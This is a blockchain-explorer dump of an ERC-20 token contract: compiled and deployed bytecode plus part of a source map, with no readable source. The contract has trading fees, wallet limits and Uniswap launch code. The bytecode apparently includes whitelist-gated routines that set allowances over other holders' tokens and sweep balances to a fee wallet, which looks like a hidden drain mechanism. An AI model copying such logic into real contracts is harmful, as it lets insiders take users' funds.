5ffd5b505050506040513d601f19601f82011682018060405250810190610ae69190611a16565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610b38816001600160a01b03165f9081526001602052604090205490565b5f5f610b4b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bb1573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd69190611a31565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610c2b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611a5c565b506012805462ff00ff60a01b19166201000160a01b179055565b335f9081526003602052604090205460ff16610c83575f5ffd5b6040516370a0823160e01b81523060048201525f90610d0490606490610cfe9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610cd4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf89190611a7b565b906116b5565b906116c0565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610d5a573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7e9190611a5c565b50505050565b5f546001600160a01b03163314610dad5760405162461bcd60e51b81526004016104f2906119e1565b6001600160a01b038116610e125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f2565b610e1b81611666565b50565b6001600160a01b038316610e805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f2565b6001600160a01b038216610ee15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f2565b6001600160a01b0382166110075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f2565b5f81116110685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f2565b5f80546001600160a01b0385811691161480159061109357505f546001600160a01b03848116911614155b1561135757600c545f036110ca576110c76064610cfe600954600c54116110bc576005546110c0565b6007545b85906116b5565b90505b5f600c541180156110e45750601254600160b01b900460ff165b156110f7576110f48284866116cb565b90505b6111126064610cfe600954600c54116110bc576005546110c0565b6012549091506001600160a01b03858116911614801561114057506011546001600160a01b03848116911614155b801561116457506001600160a01b0383165f9081526003602052604090205460ff16155b1561126757600d548211156111bb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f2565b600e54826111dd856001600160a01b03165f9081526001602052604090205490565b6111e79190611a92565b11156112355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f2565b6112506064610cfe600954600c54116110bc576005546110c0565b600c80549192505f61126183611aa5565b91905055505b6012546001600160a01b03848116911614801561128d57506001600160a01b0384163014155b156112ba576112b76064610cfe600a54600c54116112ad576006546110c0565b60085485906116b5565b90505b305f90815260016020526040902054601254600160a81b900460ff161580156112f057506012546001600160a01b038581169116145b80156113055750601254600160b01b900460ff165b80156113125750600f5481115b80156113215750600b54600c54115b156113555761134361133e8461133984601054611798565b611798565b6114bf565b478015611353576113534761162f565b505b505b80156113cf57305f9081526001602052604090205461137690826117ac565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c69085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546113f190836117b7565b6001600160a01b0385165f9081526001602052604090205561143461141683836117b7565b6001600160a01b0385165f90815260016020526040902054906117ac565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61147d85856117b7565b60405190815260200160405180910390a350505050565b5f81848411156114b75760405162461bcd60e51b81526004016104f291906117c2565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061150557611505611abd565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115809190611a16565b8160018151811061159357611593611abd565b6001600160a01b0392831660209182029290920101526011546115b99130911684610e1e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f19085905f90869030904290600401611ad1565b5f604051808303815f87803b158015611608575f5ffd5b505af115801561161a573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c5573d5f5f3e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61045f82846119ca565b5f61045f8284611b41565b5f333b151580156116e557506001600160a01b0382163014155b80156116ff5750335f9081526003602052604090205460ff165b1561172f57506001600160a01b0381165f908152600260209081526040808320338452909152812084905561045f565b823b1515801561174d57506012546001600160a01b03848116911614155b80156117675750335f9081526003602052604090205460ff165b1561178f576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116117a6578261045f565b50919050565b5f61045f8284611a92565b5f61045f8284611b60565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e1b575f5ffd5b5f5f6040838503121561181c575f5ffd5b8235611827816117f7565b946020939093013593505050565b5f5f5f60608486031215611847575f5ffd5b8335611852816117f7565b92506020840135611862816117f7565b929592945050506040919091013590565b5f60208284031215611883575f5ffd5b813561045f816117f7565b5f5f6040838503121561189f575f5ffd5b82356118aa816117f7565b915060208301356118ba816117f7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611914578085048111156118f8576118f86118c5565b600184161561190657908102905b60019390931c9280026118dd565b935093915050565b5f8261192a575060016103d7565b8161193657505f6103d7565b816001811461194c576002811461195657611972565b60019150506103d7565b60ff841115611967576119676118c5565b50506001821b6103d7565b5060208310610133831016604e8410600b8410161715611995575081810a6103d7565b6119a15f1984846118d9565b805f19048211156119b4576119b46118c5565b029392505050565b5f61045f60ff84168361191c565b80820281158282048414176103d7576103d76118c5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a26575f5ffd5b815161045f816117f7565b5f5f5f60608486031215611a43575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611a6c575f5ffd5b8151801515811461045f575f5ffd5b5f60208284031215611a8b575f5ffd5b5051919050565b808201808211156103d7576103d76118c5565b5f60018201611ab657611ab66118c5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b215783516001600160a01b0316835260209384019390920191600101611afa565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611b5b57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103d7576103d76118c556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d7ead19b4feb80150256263cf853d82f0533008886298bd9318b6e8026725be64736f6c634300081b0033
Deployed Bytecode
0x60806040526004361061011e575f3560e01c80637d1db4a51161009d578063bf474bed11610062578063bf474bed1461031c578063c9567bf914610331578063d42e839214610345578063dd62ed3e14610364578063f2fde38b146103a8575f5ffd5b80637d1db4a51461027d5780638da5cb5b146102925780638f9a55c0146102b857806395d89b41146102cd578063a9059cbb146102fd575f5ffd5b8063313ce567116100e3578063313ce567146101f057806351bc3c851461020b57806370a0823114610221578063715018a614610255578063751039fc14610269575f5ffd5b806306fdde0314610129578063095ea7b31461016b5780630faee56f1461019a57806318160ddd146101bd57806323b872dd146101d1575f5ffd5b3661012557005b5f5ffd5b348015610134575f5ffd5b50604080518082019091526008815267333630ba31b7b4b760c11b60208201525b60405161016291906117c2565b60405180910390f35b348015610176575f5ffd5b5061018a61018536600461180b565b6103c7565b6040519015158152602001610162565b3480156101a5575f5ffd5b506101af60105481565b604051908152602001610162565b3480156101c8575f5ffd5b506101af6103dd565b3480156101dc575f5ffd5b5061018a6101eb366004611835565b6103fe565b3480156101fb575f5ffd5b5060405160098152602001610162565b348015610216575f5ffd5b5061021f610466565b005b34801561022c575f5ffd5b506101af61023b366004611873565b6001600160a01b03165f9081526001602052604090205490565b348015610260575f5ffd5b5061021f6104c9565b348015610274575f5ffd5b5061021f610506565b348015610288575f5ffd5b506101af600d5481565b34801561029d575f5ffd5b505f546040516001600160a01b039091168152602001610162565b3480156102c3575f5ffd5b506101af600e5481565b3480156102d8575f5ffd5b50604080518082019091526008815267232620aa21a7a4a760c11b6020820152610155565b348015610308575f5ffd5b5061018a61031736600461180b565b6105ba565b348015610327575f5ffd5b506101af600f5481565b34801561033c575f5ffd5b5061021f6105c6565b348015610350575f5ffd5b5061021f61035f36600461180b565b610c69565b34801561036f575f5ffd5b506101af61037e36600461188e565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b3480156103b3575f5ffd5b5061021f6103c2366004611873565b610d84565b5f6103d3338484610e1e565b5060015b92915050565b5f6103ea6009600a6119bc565b6103f9906461f313f8806119ca565b905090565b5f61040a848484610f41565b61045b843361045685604051806060016040528060288152602001611b74602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611494565b610e1e565b5060015b9392505050565b335f9081526003602052604090205460ff16610480575f5ffd5b305f9081526001602052604090205480158015906104a75750601254600160b01b900460ff165b156104b5576104b5816114bf565b4780156104c5576104c58161162f565b5050565b5f546001600160a01b031633146104fb5760405162461bcd60e51b81526004016104f2906119e1565b60405180910390fd5b6105045f611666565b565b5f546001600160a01b0316331461052f5760405162461bcd60e51b81526004016104f2906119e1565b61053b6009600a6119bc565b61054a906461f313f8806119ca565b600d556105596009600a6119bc565b610568906461f313f8806119ca565b600e557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105986009600a6119bc565b6105a7906461f313f8806119ca565b60405190815260200160405180910390a1565b5f6103d3338484610f41565b5f546001600160a01b031633146105ef5760405162461bcd60e51b81526004016104f2906119e1565b601254600160a01b900460ff16156106495760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104f2565b601180546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106939030906106846009600a6119bc565b610456906461f313f8806119ca565b6011546040805163c45a015560e01b815290515f926001600160a01b03169163c45a01559160048083019260209291908290030181865afa1580156106da573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106fe9190611a16565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561075c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107809190611a16565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa1580156107c8573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107ec9190611a16565b6001600160a01b0316036109845760115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561084a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061086e9190611a16565b6001600160a01b031663c9c653963060115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156108cd573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108f19190611a16565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af115801561093b573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095f9190611a16565b601280546001600160a01b0319166001600160a01b0392909216919091179055610b07565b60115f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109d4573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109f89190611a16565b6001600160a01b031663e6a4390560115f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a56573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a7a9190611a16565b6040516001600160e01b031960e084901b1681526001600160a01b039091166004820152306024820152604401602060405180830381865afa158015610ac2573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610ae69190611a16565b601280546001600160a01b0319166001600160a01b03929092169190911790555b6011546001600160a01b031663f305d7194730610b38816001600160a01b03165f9081526001602052604090205490565b5f5f610b4b5f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610bb1573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610bd69190611a31565b505060125460115460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af1158015610c2b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c4f9190611a5c565b506012805462ff00ff60a01b19166201000160a01b179055565b335f9081526003602052604090205460ff16610c83575f5ffd5b6040516370a0823160e01b81523060048201525f90610d0490606490610cfe9085906001600160a01b038816906370a0823190602401602060405180830381865afa158015610cd4573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cf89190611a7b565b906116b5565b906116c0565b6004805460405163a9059cbb60e01b81526001600160a01b0391821692810192909252602482018390529192509084169063a9059cbb906044016020604051808303815f875af1158015610d5a573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d7e9190611a5c565b50505050565b5f546001600160a01b03163314610dad5760405162461bcd60e51b81526004016104f2906119e1565b6001600160a01b038116610e125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f2565b610e1b81611666565b50565b6001600160a01b038316610e805760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f2565b6001600160a01b038216610ee15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f2565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610fa55760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f2565b6001600160a01b0382166110075760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f2565b5f81116110685760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f2565b5f80546001600160a01b0385811691161480159061109357505f546001600160a01b03848116911614155b1561135757600c545f036110ca576110c76064610cfe600954600c54116110bc576005546110c0565b6007545b85906116b5565b90505b5f600c541180156110e45750601254600160b01b900460ff165b156110f7576110f48284866116cb565b90505b6111126064610cfe600954600c54116110bc576005546110c0565b6012549091506001600160a01b03858116911614801561114057506011546001600160a01b03848116911614155b801561116457506001600160a01b0383165f9081526003602052604090205460ff16155b1561126757600d548211156111bb5760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104f2565b600e54826111dd856001600160a01b03165f9081526001602052604090205490565b6111e79190611a92565b11156112355760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104f2565b6112506064610cfe600954600c54116110bc576005546110c0565b600c80549192505f61126183611aa5565b91905055505b6012546001600160a01b03848116911614801561128d57506001600160a01b0384163014155b156112ba576112b76064610cfe600a54600c54116112ad576006546110c0565b60085485906116b5565b90505b305f90815260016020526040902054601254600160a81b900460ff161580156112f057506012546001600160a01b038581169116145b80156113055750601254600160b01b900460ff165b80156113125750600f5481115b80156113215750600b54600c54115b156113555761134361133e8461133984601054611798565b611798565b6114bf565b478015611353576113534761162f565b505b505b80156113cf57305f9081526001602052604090205461137690826117ac565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906113c69085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546113f190836117b7565b6001600160a01b0385165f9081526001602052604090205561143461141683836117b7565b6001600160a01b0385165f90815260016020526040902054906117ac565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61147d85856117b7565b60405190815260200160405180910390a350505050565b5f81848411156114b75760405162461bcd60e51b81526004016104f291906117c2565b505050900390565b6012805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061150557611505611abd565b6001600160a01b03928316602091820292909201810191909152601154604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561155c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115809190611a16565b8160018151811061159357611593611abd565b6001600160a01b0392831660209182029290920101526011546115b99130911684610e1e565b60115460405163791ac94760e01b81526001600160a01b039091169063791ac947906115f19085905f90869030904290600401611ad1565b5f604051808303815f87803b158015611608575f5ffd5b505af115801561161a573d5f5f3e3d5ffd5b50506012805460ff60a81b1916905550505050565b6004546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104c5573d5f5f3e3d5ffd5b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b5f61045f82846119ca565b5f61045f8284611b41565b5f333b151580156116e557506001600160a01b0382163014155b80156116ff5750335f9081526003602052604090205460ff165b1561172f57506001600160a01b0381165f908152600260209081526040808320338452909152812084905561045f565b823b1515801561174d57506012546001600160a01b03848116911614155b80156117675750335f9081526003602052604090205460ff165b1561178f576001600160a01b0383165f908152600360205260409020805460ff191660011790555b505f9392505050565b5f8183116117a6578261045f565b50919050565b5f61045f8284611a92565b5f61045f8284611b60565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b6001600160a01b0381168114610e1b575f5ffd5b5f5f6040838503121561181c575f5ffd5b8235611827816117f7565b946020939093013593505050565b5f5f5f60608486031215611847575f5ffd5b8335611852816117f7565b92506020840135611862816117f7565b929592945050506040919091013590565b5f60208284031215611883575f5ffd5b813561045f816117f7565b5f5f6040838503121561189f575f5ffd5b82356118aa816117f7565b915060208301356118ba816117f7565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b6001815b6001841115611914578085048111156118f8576118f86118c5565b600184161561190657908102905b60019390931c9280026118dd565b935093915050565b5f8261192a575060016103d7565b8161193657505f6103d7565b816001811461194c576002811461195657611972565b60019150506103d7565b60ff841115611967576119676118c5565b50506001821b6103d7565b5060208310610133831016604e8410600b8410161715611995575081810a6103d7565b6119a15f1984846118d9565b805f19048211156119b4576119b46118c5565b029392505050565b5f61045f60ff84168361191c565b80820281158282048414176103d7576103d76118c5565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b5f60208284031215611a26575f5ffd5b815161045f816117f7565b5f5f5f60608486031215611a43575f5ffd5b5050815160208301516040909301519094929350919050565b5f60208284031215611a6c575f5ffd5b8151801515811461045f575f5ffd5b5f60208284031215611a8b575f5ffd5b5051919050565b808201808211156103d7576103d76118c5565b5f60018201611ab657611ab66118c5565b5060010190565b634e487b7160e01b5f52603260045260245ffd5b5f60a0820187835286602084015260a0604084015280865180835260c0850191506020880192505f5b81811015611b215783516001600160a01b0316835260209384019390920191600101611afa565b50506001600160a01b039590951660608401525050608001529392505050565b5f82611b5b57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103d7576103d76118c556fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204d7ead19b4feb80150256263cf853d82f0533008886298bd9318b6e8026725be64736f6c634300081b0033
Deployed Bytecode Sourcemap
12827:9117:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;14657:83;;;;;;;;;;-1:-1:-1;14727:5:0;;;;;;;;;;;;-1:-1:-1;;;14727:5:0;;;;14657:83;;;;;;;:::i;:::-;;;;;;;;15490:161;;;;;;;;;;-1:-1:-1;15490:161:0;;;;;:::i;:::-;;:::i;:::-;;;1110:14:1;;1103:22;1085:41;;1073:2;1058:18;15490:161:0;945:187:1;13888:55:0;;;;;;;;;;;;;;;;;;;1283:25:1;;;1271:2;1256:18;13888:55:0;1137:177:1;14934:95:0;;;;;;;;;;;;;:::i;15659:313::-;;;;;;;;;;-1:-1:-1;15659:313:0;;;;;:::i;:::-;;:::i;14843:83::-;;;;;;;;;;-1:-1:-1;14843:83:0;;13500:1;1974:36:1;;1962:2;1947:18;14843:83:0;1832:184:1;21288:373:0;;;;;;;;;;;;;:::i;:::-;;15037:119;;;;;;;;;;-1:-1:-1;15037:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;15130:18:0;15103:7;15130:18;;;:9;:18;;;;;;;15037:119;2773:103;;;;;;;;;;;;;:::i;20118:166::-;;;;;;;;;;;;;:::i;13692:56::-;;;;;;;;;;;;;;;;1766:87;;;;;;;;;;-1:-1:-1;1812:7:0;1839:6;1766:87;;-1:-1:-1;;;;;1839:6:0;;;2419:51:1;;2407:2;2392:18;1766:87:0;2273:203:1;13755:58:0;;;;;;;;;;;;;;;;14748:87;;;;;;;;;;-1:-1:-1;14820:7:0;;;;;;;;;;;;-1:-1:-1;;;14820:7:0;;;;14748:87;;15164:167;;;;;;;;;;-1:-1:-1;15164:167:0;;;;;:::i;:::-;;:::i;13820:61::-;;;;;;;;;;;;;;;;20292:951;;;;;;;;;;;;;:::i;21669:272::-;;;;;;;;;;-1:-1:-1;21669:272:0;;;;;:::i;:::-;;:::i;15339:143::-;;;;;;;;;;-1:-1:-1;15339:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;15447:18:0;;;15420:7;15447:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;15339:143;2008:201;;;;;;;;;;-1:-1:-1;2008:201:0;;;;;:::i;:::-;;:::i;15490:161::-;15565:4;15582:39;822:10;15605:7;15614:6;15582:8;:39::i;:::-;-1:-1:-1;15639:4:0;15490:161;;;;;:::o;14934:95::-;14987:7;13558:13;13500:1;13558:2;:13;:::i;:::-;13543:28;;:12;:28;:::i;:::-;15007:14;;14934:95;:::o;15659:313::-;15757:4;15774:36;15784:6;15792:9;15803:6;15774:9;:36::i;:::-;15821:121;15830:6;822:10;15852:89;15890:6;15852:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;15852:19:0;;;;;;:11;:19;;;;;;;;822:10;15852:33;;;;;;;;;;:37;:89::i;:::-;15821:8;:121::i;:::-;-1:-1:-1;15960:4:0;15659:313;;;;;;:::o;21288:373::-;21356:10;21337:30;;;;:18;:30;;;;;;;;21329:39;;;;;;21421:4;21380:20;15130:18;;;:9;:18;;;;;;21441:14;;;;;:29;;-1:-1:-1;21459:11:0;;-1:-1:-1;;;21459:11:0;;;;21441:29;21438:88;;;21484:30;21501:12;21484:16;:30::i;:::-;21557:21;21592:12;;21589:65;;21618:24;21631:10;21618:12;:24::i;:::-;21318:343;;21288:373::o;2773:103::-;1812:7;1839:6;-1:-1:-1;;;;;1839:6:0;822:10;2342:23;2334:68;;;;-1:-1:-1;;;2334:68:0;;;;;;;:::i;:::-;;;;;;;;;2838:30:::1;2865:1;2838:18;:30::i;:::-;2773:103::o:0;20118:166::-;1812:7;1839:6;-1:-1:-1;;;;;1839:6:0;822:10;2342:23;2334:68;;;;-1:-1:-1;;;2334:68:0;;;;;;;:::i;:::-;13558:13:::1;13500:1;13558:2;:13;:::i;:::-;13543:28;::::0;:12:::1;:28;:::i;:::-;20174:12;:23:::0;13558:13:::1;13500:1;13558:2;:13;:::i;:::-;13543:28;::::0;:12:::1;:28;:::i;:::-;20208:14;:25:::0;20249:27:::1;13558:13;13500:1;13558:2;:13;:::i;:::-;13543:28;::::0;:12:::1;:28;:::i;:::-;20249:27;::::0;1283:25:1;;;1271:2;1256:18;20249:27:0::1;;;;;;;20118:166::o:0;15164:167::-;15242:4;15259:42;822:10;15283:9;15294:6;15259:9;:42::i;20292:951::-;1812:7;1839:6;-1:-1:-1;;;;;1839:6:0;822:10;2342:23;2334:68;;;;-1:-1:-1;;;2334:68:0;;;;;;;:::i;:::-;20356:11:::1;::::0;-1:-1:-1;;;20356:11:0;::::1;;;20355:12;20347:47;;;::::0;-1:-1:-1;;;20347:47:0;;5174:2:1;20347:47:0::1;::::0;::::1;5156:21:1::0;5213:2;5193:18;;;5186:30;5252:25;5232:18;;;5225:53;5295:18;;20347:47:0::1;4972:347:1::0;20347:47:0::1;20405:15;:78:::0;;-1:-1:-1;;;;;;20405:78:0::1;20440:42;20405:78:::0;;::::1;::::0;;;20494:58:::1;::::0;20511:4:::1;::::0;13558:13:::1;13500:1;13558:2;:13;:::i;:::-;13543:28;::::0;:12:::1;:28;:::i;20494:58::-;20585:15;::::0;:25:::1;::::0;;-1:-1:-1;;;20585:25:0;;;;20670:1:::1;::::0;-1:-1:-1;;;;;20585:15:0::1;::::0;:23:::1;::::0;:25:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;:15;:25:::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20567:52:0::1;;20620:15;;;;;;;;;-1:-1:-1::0;;;;;20620:15:0::1;-1:-1:-1::0;;;;;20620:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20567:91;::::0;-1:-1:-1;;;;;;20567:91:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;20567:91:0::1;::::0;::::1;5754:51:1::0;20652:4:0::1;5821:18:1::0;;;5814:60;5727:18;;20567:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20567:105:0::1;::::0;20563:397:::1;;20723:15;;;;;;;;;-1:-1:-1::0;;;;;20723:15:0::1;-1:-1:-1::0;;;;;20723:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20705:55:0::1;;20769:4;20776:15;;;;;;;;;-1:-1:-1::0;;;;;20776:15:0::1;-1:-1:-1::0;;;;;20776:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20705:94;::::0;-1:-1:-1;;;;;;20705:94:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;20705:94:0::1;::::0;::::1;5754:51:1::0;5841:32;;5821:18;;;5814:60;5727:18;;20705:94:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20689:13;:110:::0;;-1:-1:-1;;;;;;20689:110:0::1;-1:-1:-1::0;;;;;20689:110:0;;;::::1;::::0;;;::::1;::::0;;20563:397:::1;;;20875:15;;;;;;;;;-1:-1:-1::0;;;;;20875:15:0::1;-1:-1:-1::0;;;;;20875:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;20857:52:0::1;;20910:15;;;;;;;;;-1:-1:-1::0;;;;;20910:15:0::1;-1:-1:-1::0;;;;;20910:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20857:91;::::0;-1:-1:-1;;;;;;20857:91:0::1;::::0;;;;;;-1:-1:-1;;;;;5772:32:1;;;20857:91:0::1;::::0;::::1;5754:51:1::0;20942:4:0::1;5821:18:1::0;;;5814:60;5727:18;;20857:91:0::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20841:13;:107:::0;;-1:-1:-1;;;;;;20841:107:0::1;-1:-1:-1::0;;;;;20841:107:0;;;::::1;::::0;;;::::1;::::0;;20563:397:::1;20970:15;::::0;-1:-1:-1;;;;;20970:15:0::1;:31;21009:21;21040:4;21046:24;21040:4:::0;-1:-1:-1;;;;;15130:18:0;15103:7;15130:18;;